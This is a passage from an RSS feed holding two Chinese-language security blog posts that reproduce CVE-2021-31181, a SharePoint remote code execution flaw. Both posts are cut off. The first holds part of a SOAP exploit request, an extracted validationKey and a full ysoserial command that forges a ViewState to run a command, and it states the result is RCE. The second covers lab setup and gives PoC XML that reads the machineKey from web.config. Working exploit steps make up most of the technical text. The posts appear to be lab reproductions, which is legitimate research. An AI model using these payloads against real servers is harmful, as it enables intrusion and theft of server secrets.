class="code-snippet__string">&#34;.&#34;</span>/&gt;</span>           <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span>       <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span>   <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">webPartXml</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">RenderWebPartForEdit</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">soap:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">soap:Envelope</span>&gt;</span></span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="191" data-backw="319" data-ratio="0.5994475138121547" title="null" data-type="png" data-w="1448" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=63be0df7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFl5ibmnsfOIAFvKib3yjkkCOKSk3lciato6ZndkzYdNUgjney0oa1DscicA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">拿到validationKey E8184ADCEE3E6FD39E35B44AC344F88C2581F9F022BF7661F223DBD4EB3F9316</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后ysoserial构造viewstate，查看源代码 <a href="http://sharepoint/sites/ts/_layouts/15/success.aspx" target="_blank">http://sharepoint/sites/ts/_layouts/15/success.aspx</a> 拿到 __VIEWSTATEGENERATOR AF878507</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="42" data-backw="319" data-ratio="0.12980769230769232" title="null" data-type="png" data-w="1248" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec415caa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QF6nThykUscH6HOzUoKiahOOAPJkiczCEpAt0oYnWz0h5prY5F5DibIprOg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">.\ysoserial.exe -p <span class="code-snippet__type">ViewState</span> -g <span class="code-snippet__type">TypeConfuseDelegate</span> -<span class="code-snippet__built_in">c</span> <span class="code-snippet__string">&#34;cmd.exe /c calc&#34;</span> --generator=<span class="code-snippet__string">&#34;AF878507&#34;</span> --validationkey=<span class="code-snippet__string">&#34;E8184ADCEE3E6FD39E35B44AC344F88C2581F9F022BF7661F223DBD4EB3F9316&#34;</span> --validationalg=<span class="code-snippet__string">&#34;HMACSHA256&#34;</span> --islegacy --minify</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">发包就RCE了</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">但是我这边用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config</code>不行，用c:/inetpub/wwwroot/web.config 就可以了。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="191" data-backw="319" data-ratio="0.5994475138121547" title="null" data-type="png" data-w="1448" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6bf0b34a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFrfAmlGRrw1bDPy7TrhWB3hf209pcibiaow9rJwIfbZV8FQiaZJSMNXyMg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="99" data-backw="319" data-ratio="0.30982019363762103" title="null" data-type="png" data-w="723" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c5379d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFmYgflojETgYn4KCiajYnGLHcJLOxL0ia90eJ142JhIEqxf4f1U3Hm03w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">参考</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><a href="https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability" target="_blank">https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability</a></p><section><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247485998">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6bcee1af&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247485998%26idx%3D1%26sn%3D703e7af8ee039b48cfee6fdfb02f55b9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 08 Jun 2021 08:48:00 +0800</pubDate>
    </item>
    <item>
      <title>SharePoint CVE-2021-31181 复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247485996&amp;idx=1&amp;sn=2da99b0a9d9c3e4803d5db89cfaa3847</link>
      <description>复现需要一个用户，我这使用的是域管理员账号+SharePoint2016先要创建team site，在sp2</description>
      <content:encoded><![CDATA[<p>
<span>Y4er</span> <span>2021-06-04 22:04</span> <span style="display: inline-block;"></span>
</p>

<p>复现需要一个用户，我这使用的是域管理员账号+SharePoint2016先要创建team site，在sp2</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f56ac2a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QF7beRbYJcJyejcqYaH3J8Ea0g3kvsGp2ZUbaiafwbRsO8sA46ia0X9LMQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">复现</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">需要一个用户，我这使用的是域管理员账号+SharePoint2016</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">先要创建team site，在sp2016里是创建网站集，我创建一个名为ts的网站集</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><a href="http://sharepoint:8080/_admin/createsite.aspx" target="_blank">http://sharepoint:8080/_admin/createsite.aspx</a></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="246" data-backw="319" data-ratio="0.7737226277372263" title="null" data-type="png" data-w="959" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7bd2c06c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFej3d4rIUcu8Mic81iaq2A7QZn9EbBzJfgmEciar7ic0ESzHYuoOKMS5oVA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后看poc的xml中</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;Documents&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{6e7040c8-0338-4448-914d-a7061e0fc347}&#34;</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span> </span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">      <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&#34;</span> /&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span class="code-snippet__string">&#34;.&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">需要三个参数</p><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>ListDisplayName</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>WebId</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>datafile</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">WebId来自 <a href="http://sharepoint/sites/ts/_api/web/id" target="_blank">http://sharepoint/sites/ts/_api/web/id</a></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="35" data-backw="319" data-ratio="0.10738255033557047" title="null" data-type="png" data-w="1341" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=90189754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFOzrVWoRvvsxEYC1cGzicCoQLj9V6lxTxVM5DITia5PzAKo1RzV90GuUg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">e89c64e5-75ce-4bd4-8181-2298228fc91f</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">ListDisplayName可以新建一个</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="181" data-backw="319" data-ratio="0.5659722222222222" title="null" data-type="png" data-w="1152" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" 